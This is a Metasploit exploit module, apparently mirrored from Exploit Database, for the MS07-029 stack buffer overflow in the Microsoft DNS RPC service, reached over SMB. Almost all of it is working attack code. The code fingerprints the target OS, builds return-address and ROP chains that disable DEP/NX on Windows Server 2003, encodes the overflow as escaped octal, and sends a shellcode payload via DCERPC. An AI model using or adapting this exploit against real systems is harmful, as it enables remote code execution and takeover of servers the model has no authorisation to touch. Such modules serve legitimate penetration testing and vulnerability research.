Microsoft DNS RPC Service – ‘extractQuotedChar()’ Remote Overflow ‘SMB’ (MS07-029) (Metasploit)

• Exploit Database
• 82 阅读

• 作者： Metasploit
  日期： 2010-09-28
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16366/

• ##
  # $Id: ms07_029_msdns_zonename.rb 10503 2010-09-28 15:23:14Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ManualRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::SMB
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the RPC interface
  				of the Microsoft DNS service. The vulnerability is triggered
  				when a long zone name parameter is supplied that contains
  				escaped octal strings. This module is capable of bypassing NX/DEP
  				protection on Windows 2003 SP1/SP2. This module exploits the
  				RPC service using the \\DNSSERVER pipe available via SMB. This
  				pipe requires a valid user account to access, so the SMBUSER
  				and SMBPASS options must be specified.
  			},
  			'Author' =>
  				[
  					'hdm',# initial module
  					'anonymous' # 2 anonymous contributors (2003 support)
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10503 $',
  			'References' =>
  				[
  					['CVE', '2007-1748'],
  					['OSVDB', '34100'],
  					['MSB', 'MS07-029'],
  					['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread'
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  
  					# The payload doesn't matter, but make_nops() uses these too
  					'BadChars' => "\x00",
  
  					'StackAdjustment' => -3500,
  
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ],
  
  					# WS2HELP.DLL
  					[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
  					[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
  					[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
  
  					# Use the __except_handler3 method (and jmp esp in ATL.dll)
  					[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
  					[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],
  
  
  					# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
  					[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
  					[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
  					[ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
  					[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
  					[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
  
  				],
  			'DisclosureDate' => 'Apr 12 2007',
  			'DefaultTarget'=> 0 ))
  
  		register_options(
  			[
  				OptString.new('Locale', [ true,"Locale for automatic target (English, French, Italian, ...)", 'English'])
  			], self.class)
  	end
  
  
  	def gettarget(os)
  
  		targets.each do |target|
  			if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
  				return target
  			end
  		end
  
  		return nil
  	end
  
  
  	def exploit
  
  		connect()
  		smb_login()
  
  		if target.name =~ /Automatic/
  
  			case smb_peer_os()
  			when 'Windows NT 4.0'
  				print_status("Detected a Windows NT 4.0 system...")
  				target = nil
  
  			when 'Windows 5.0'
  				print_status("Detected a Windows 2000 SP0-SP4 target...")
  				target = gettarget('2000')
  
  			when 'Windows 5.1'
  				print_status("Detected a Windows XP system...")
  				target = nil
  
  			when /Windows Server 2003 (\d+)$/
  				print_status("Detected a Windows 2003 SP0 target...")
  				target = gettarget('2003SP0')
  
  			when /Windows Server 2003 (\d+) Service Pack (\d+)/
  				print_status("Detected a Windows 2003 SP#{$2} target...")
  				target = gettarget('2003SP12')
  			else
  				print_status("Unknown OS: #{smb_peer_os}")
  				return
  			end
  		end
  
  		if (not target)
  			print_status("There is no available target for this OS locale")
  			return
  		end
  
  		print_status("Trying target #{target.name}...")
  
  		# Bind to the service
  		handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_np', ['\dnsserver'])
  		print_status("Binding to #{handle} ...")
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		# Create our buffer with our shellcode first
  		txt = Rex::Text.rand_text_alphanumeric(8192)
  
  		if (target['OS'] =~ /2000/)
  			txt[0, payload.encoded.length] = payload.encoded
  
  			off = target['Off']
  			txt[ off ] = [target.ret].pack('V')
  			txt[ off - 4, 2] = "\xeb\x06"
  			txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')
  
  		elsif (target['OS'] =~ /2003SP0/)
  			txt[0, payload.encoded.length] = payload.encoded
  
  			off = target['Off']
  			txt[ off ] = [target['Rets'][0]].pack('V')# __except_handler3
  			txt[ off - 4, 2] = "\xeb\x16"
  
  			# addr = A + B*12 + 4 = 0x77f7e7f0(ntdll -> 0x77f443c9)
  			addr = target['Rets'][1] - 4
  			addr1 = addr / 2
  			addr2 = addr1 + addr % 2
  			addr1 = addr1 + (addr2 % 12)
  			addr2 = addr2 / 12
  
  			txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B
  
  			#
  			# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
  			#
  			# 0x77f443c9 jmp off_77f7e810[edx*4] ;edx = 0 so jmp to 77f443d0
  			# 0x77f443d0 mov eax, [ebp+arg_0]
  			# 0x77f443d3 pop esi
  			# 0x77f443d4 pop edi
  			# 0x77f443d5 leave; mov esp, ebp
  			# 0x77f443d6 retn ; ret
  
  			txt[ off + 16, 4] = [target['Rets'][2]].pack('V')# jmp esp
  			txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V')
  
  		elsif (target['OS'] =~ /2003SP12/)
  			off = target['Off']
  			ib= target['IB']
  			txt[ off ] = [ib + 0x2566].pack('V')
  
  
  			# to bypass NX we need to emulate the call to ZwSetInformationProcess
  			# with generic value (to work on SP1-SP2 + patches)
  
  			off = 445
  
  			# first we set esi to 0xed by getting the value on the stack
  			#
  			# 0x76a81da7:
  			# pop esi <- esi = edh
  			# retn
  
  			txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
  			txt[ off + 28, 4] = [0xed].pack('V')
  
  			# now we set ecx to 0x7ffe0300, eax to 0xed
  			# 0x76a81da4:
  			# pop ecx<-ecx = 0x7ffe0300
  			# mov eax, esi <- eax == edh
  			# pop esi
  			# retn
  
  			txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
  			txt[ off + 36, 4] = [0x7ffe0300].pack('V')
  
  			# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
  			# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
  			# 0x76a8109c:
  			# call dword ptr [ecx]
  
  			txt[ off + 44, 4] = [ib + 0x109c].pack('V')# call dword ptr[ecx]
  			txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')
  
  			# we catch the second exception to go back to our shellcode, now that
  			# NX is disabled
  
  			off = 1013
  			txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)
  			txt[ off + 24, payload.encoded.length ] = payload.encoded
  
  		end
  
  		req = ''
  
  		# Convert the string to escaped octal
  		txt.unpack('C*').each do |c|
  			req << "\\"
  			req << c.to_s(8)
  		end
  
  		# Build the RPC stub data
  		stubdata =
  			NDR.long(rand(0xffffffff)) +
  			NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +
  
  			NDR.long(rand(0xffffffff)) +
  			NDR.string(req + "\x00") +
  
  			NDR.long(rand(0xffffffff)) +
  			NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")
  
  		print_status('Sending exploit...')
  
  		begin
  			response = dcerpc.call(1, stubdata)
  
  			if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
  				print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
  			end
  		rescue ::Exception => e
  			print_error("Error: #{e}")
  		end
  
  		handler
  		disconnect
  	end
  
  end
  

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